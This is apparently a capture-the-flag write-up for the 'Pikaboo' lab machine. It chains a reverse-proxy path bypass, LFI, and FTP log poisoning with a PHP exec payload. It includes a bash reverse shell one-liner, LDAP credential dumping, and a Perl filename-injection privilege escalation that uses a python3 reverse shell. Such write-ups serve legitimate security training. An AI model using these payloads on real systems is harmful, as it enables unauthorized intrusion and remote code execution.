Pikaboo
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 5000 10.129.95.191
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 23:10 EDT
Warning: 10.129.95.191 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.95.191
Host is up (0.022s latency).
Not shown: 65018 closed tcp ports (conn-refused), 514 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Anonymous logins does not work for this site. We can take a look at the HTTP site.
Apache Reverse Proxy
It's a Pokemon based website:

The admin portal requires credentials to access:

We can take a look at the Pokatdex and see that there are entries for each specific creature. Props to the creator for designing these:

When we try to view the entries, we just see this:

The URL visited http://10.129.95.191/pokeapi.php?id=6
, which might be relevant later on. I tested LFI and other types of injection, but nothing worked. I took a closer look at the administrator login, and found that if I keyed in wrong credentails, I got a unique error.

For some reason, it was redirecting me to port 81 on the localhost. This means that some type of proxy is being used to forward the traffic to the right destination. It's called a reverse proxy, and looking for exploits for it led me to this:
Based on the PoC, this is a misconfiguration regarding the proxy used for the /admin
directory. We can test it out and find that we have bypassed authentication using this method and get a 403 instead.

I tried a gobuster
scan on this new URL to see if we can find new files to access, and it seems server-status
has been left publicly available.
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://10.129.95.191/admin../ -t 100
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.95.191/admin../
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2023/05/01 23:28:23 Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 401) [Size: 456]
/javascript (Status: 301) [Size: 314] [--> http://127.0.0.1:81/javascript/]
/server-status (Status: 200) [Size: 11318]
server-status
contains logs for the Apache server for administrators to view and see, and now we can see it too!
Srv PID Acc M CPU SS Req Conn Child Slot Client VHost Request
0-0 11485 0/6079/29503 W 0.71 0 0 0.0 3.33 16.96 127.0.0.1 localhost:81 GET /admin_staging HTTP/1.1
1-0 11496 0/3246/29312 _ 0.41 2 0 0.0 1.78 16.59 127.0.0.1 localhost:81 GET /admin/../nscom HTTP/1.0
2-0 4598 0/21543/29637 _ 2.67 2 0 0.0 12.28 16.76 127.0.0.1 localhost:81 GET /admin/../32994 HTTP/1.0
3-0 11499 0/1293/23731 _ 0.22 2 0 0.0 0.71 13.03 127.0.0.1 localhost:81 GET /admin/../21630 HTTP/1.0
4-0 4607 0/19820/29429 _ 2.32 2 0 0.0 11.34 16.87 127.0.0.1 localhost:81 GET /admin/../41221 HTTP/1.0
There are loads of requests, and it seems that there's an extra directory at admin_staging
. We can visit it using http://10.129.95.191/admin../admin_staging/
.
Admin Staging
This was a dashboard of some sort.

The URL is http://10.129.95.191/admin../admin_staging/index.php?page=dashboard.php
. This could be vulnerable to LFI. I used wfuzz
to see what files existed on the page using the LFI wordlist. Ideally, we are looking for some type of configuration files.
$ wfuzz -c -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --hl=367 http://10.129.95.191/admin../admin_staging/index.php?page=FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.95.191/admin../admin_staging/index.php?page=FUZZ
Total requests: 920
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000733: 200 413 L 1670 W 19803 Ch "/var/log/vsftpd.log"
000000734: 200 557 L 1379 W 174271 Ch "/var/log/wtmp"
It seems that we have found 2 files, and both of which have different lengths, indicating that something actually appeared on the page. When we view the FTP log file using curl
, we find a username for FTP
Thu Jul 8 17:30:53 2021 [pid 21011] FTP command: Client "::ffff:10.10.14.6", "USER pwnmeow"
Thu Jul 8 17:30:53 2021 [pid 21011] [pwnmeow] FTP response: Client "::ffff:10.10.14.6", "331 Please specify the password."
Thu Jul 8 17:31:01 2021 [pid 21011] [pwnmeow] FTP command: Client "::ffff:10.10.14.6", "PASS <password>"
The weird part was that there was no password in sight, so we couldn't do much here.
FTP PHP Injection
Notice that we are able to write to the logs via the username logins, and the page is in PHP. There's a chance that we have to do PHP injection via the username parameter in FTP. This might work because the FTP logs are displayed on the page, whereas the rest of the files aren't.
I logged in with a unique username
$ ftp 10.129.95.191
Connected to 10.129.95.191.
220 (vsFTPd 3.0.3)
Name (10.129.95.191:kali): <?php exec("/bin/bash -c 'ping -c 1 10.10.14.13'") ?>
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
ftp>
Afterwards, I used the LFI to view the logs again, and I got a callback on tcpdump
.
$ sudo tcpdump -i tun0 icmp
[sudo] password for kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
23:42:51.905282 IP 10.129.95.191 > 10.10.14.13: ICMP echo request, id 18968, seq 1, length 64
23:42:51.905304 IP 10.10.14.13 > 10.129.95.191: ICMP echo reply, id 18968, seq 1, length 64
23:42:51.915887 IP 10.129.95.191 > 10.10.14.13: ICMP echo request, id 18970, seq 1, length 64
23:42:51.915910 IP 10.10.14.13 > 10.129.95.191: ICMP echo reply, id 18970, seq 1, length 64
23:42:51.926200 IP 10.129.95.191 > 10.10.14.13: ICMP echo request, id 18972, seq 1, length 64
23:42:51.926218 IP 10.10.14.13 > 10.129.95.191: ICMP echo reply, id 18972, seq 1, length 64
23:42:51.936922 IP 10.129.95.191 > 10.10.14.13: ICMP echo request, id 18974, seq 1, length 64
23:42:51.936935 IP 10.10.14.13 > 10.129.95.191: ICMP echo reply, id 18974, seq 1, length 64
23:42:51.948046 IP 10.129.95.191 > 10.10.14.13: ICMP echo request, id 18976, seq 1, length 64
23:42:51.948058 IP 10.10.14.13 > 10.129.95.191: ICMP echo reply, id 18976, seq 1, length 64
Great, we now have RCE. We just need to include a bash
reverse shell one-liner. We can use this:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.13/4444 0>&1'") ?>
After viewing the page again, we would get a shell as www-data
.

We can grab the user flag.
Privilege Escalation
Cron -> FTP Creds -> Perl RCE
I downloaded LinPEAS to the machine and it did the enumeration for me. Within the cronjob
section, it found 1:
* * * * * root /usr/local/bin/csvupdate_cron
This was running a bash script as root
, and we can view it:
#!/bin/bash
for d in /srv/ftp/*
do
cd $d
/usr/local/bin/csvupdate $(basename $d) *csv
/usr/bin/rm -rf *
done
This uses another script csvupdate
. It's a Perl script, and it's rather long, but here's the end of it:
if($#ARGV < 1)
{
die "Usage: $0 <type> <file(s)>\n";
}
my $type = $ARGV[0];
if(!exists $csv_fields{$type})
{
die "Unrecognised CSV data type: $type.\n";
}
my $csv = Text::CSV->new({ sep_char => ',' });
my $fname = "${csv_dir}/${type}.csv";
open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\n";
shift;
for(<>)
{
chomp;
if($csv->parse($_))
{
my @fields = $csv->fields();
if(@fields != $csv_fields{$type})
{
warn "Incorrect number of fields: '$_'\n";
next;
}
print $fh "$_\n";
}
}
close($fh);
It seems to use parse
on the CSV. I'm not super great at Perl, so I googled every function used here for vulnerabilities. It appears that open
can be used for RCE for some weird reason.
Right, so now we have a potential RCE vector, but we still need to find out how to place files into the FTP server. This means we need top find credentials somewhere. Checking the /opt
directory, I found some files:
www-data@pikaboo:/opt/pokeapi$ ls
CODE_OF_CONDUCT.md README.md data pokemon_v2
CONTRIBUTING.md Resources docker-compose.yml requirements.txt
CONTRIBUTORS.txt __init__.py graphql test-requirements.txt
LICENSE.md apollo.config.js gunicorn.py.ini
Makefile config manage.py
Within the /config/settings.py
, we can find some stuff pertaining to LDAP on this machine.
DATABASES = {
"ldap": {
"ENGINE": "ldapdb.backends.ldap",
"NAME": "ldap:///",
"USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb",
"PASSWORD": "J~42%W?PFHl]g",
},
"default": {
"ENGINE": "django.db.backends.sqlite3",
"NAME": "/opt/pokeapi/db.sqlite3",
}
}
It seems we have a password and a username. We can also confirm that LDAP is running.
www-data@pikaboo:/opt/pokeapi/config$ netstat -tulpn | grep 389
tcp 0 0 127.0.0.1:389 0.0.0.0:* LISTEN -
The next step would be to enumerate LDAP via ldapsearch
, which happened to be on the machine.
ldapsearch -h 127.0.0.1 -D 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -w 'J~42%W?PFHl]g' -b 'dc=pikaboo,dc=htb'
# extended LDIF
#
# LDAPv3
# base <> (default) with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 32 No such object
# numResponses: 1
<o,dc=htb' -w 'J~42%W?PFHl]g' -b 'dc=pikaboo,dc=htb''
> ^C
<,dc=htb' -w 'J~42%W?PFHl]g' -b 'dc=pikaboo,dc=htb'
# extended LDIF
#
# LDAPv3
# base <dc=pikaboo,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# pikaboo.htb
dn: dc=pikaboo,dc=htb
objectClass: domain
dc: pikaboo
# ftp.pikaboo.htb
dn: dc=ftp,dc=pikaboo,dc=htb
objectClass: domain
dc: ftp
# users, pikaboo.htb
dn: ou=users,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users
# pokeapi.pikaboo.htb
dn: dc=pokeapi,dc=pikaboo,dc=htb
objectClass: domain
dc: pokeapi
# users, ftp.pikaboo.htb
dn: ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users
# groups, ftp.pikaboo.htb
dn: ou=groups,dc=ftp,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: groups
# pwnmeow, users, ftp.pikaboo.htb
dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: pwnmeow
cn: Pwn
sn: Meow
loginShell: /bin/bash
uidNumber: 10000
gidNumber: 10000
homeDirectory: /home/pwnmeow
userPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==
# binduser, users, pikaboo.htb
dn: cn=binduser,ou=users,dc=pikaboo,dc=htb
cn: binduser
objectClass: simpleSecurityObject
objectClass: organizationalRole
userPassword:: Sn40MiVXP1BGSGxdZw==
# users, pokeapi.pikaboo.htb
dn: ou=users,dc=pokeapi,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users
# groups, pokeapi.pikaboo.htb
dn: ou=groups,dc=pokeapi,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: groups
# search result
search: 2
result: 0 Success
# numResponses: 11
# numEntries: 10
We can find the user password in Base64 here, and when decoded it gives the password _G0tT4_C4tcH'3m_4lL!_
We can't SSH in as the user with this, but we can access the FTP directory and place files.
$ ftp 10.129.95.191
Connected to 10.129.95.191.
220 (vsFTPd 3.0.3)
Name (10.129.95.191:kali): pwnmeow
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Now, we need to place a maliciously named CSV file to get RCE via Perl. There were a load of files within the FTP server, so I just used the one that was updated most recently.
drwx-wx--- 2 ftp ftp 4096 May 20 2021 version_groups
drwx-wx--- 2 ftp ftp 4096 May 20 2021 version_names
drwx-wx--- 2 ftp ftp 4096 Jul 06 2021 versions
Based on the StackOverflow question, we have to name our file | <insert bash command>.csv
. In my testing, it seems to reject /
characters for some reason. So let's create a payload without all of that using a python3
reverse shell.
ftp> put test "|python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("\"10.10.14.13\",4444));[os.dup2(s.fileno(),f)for\ f\ in(0,1,2)];pty.spawn(""\"bash\")';.csv"
Remember to have a backslash behind all spaces and spaces to allow the upload to work. After waiting for a little while, we would get a reverse shell on the specified port.

Rooted!
Last updated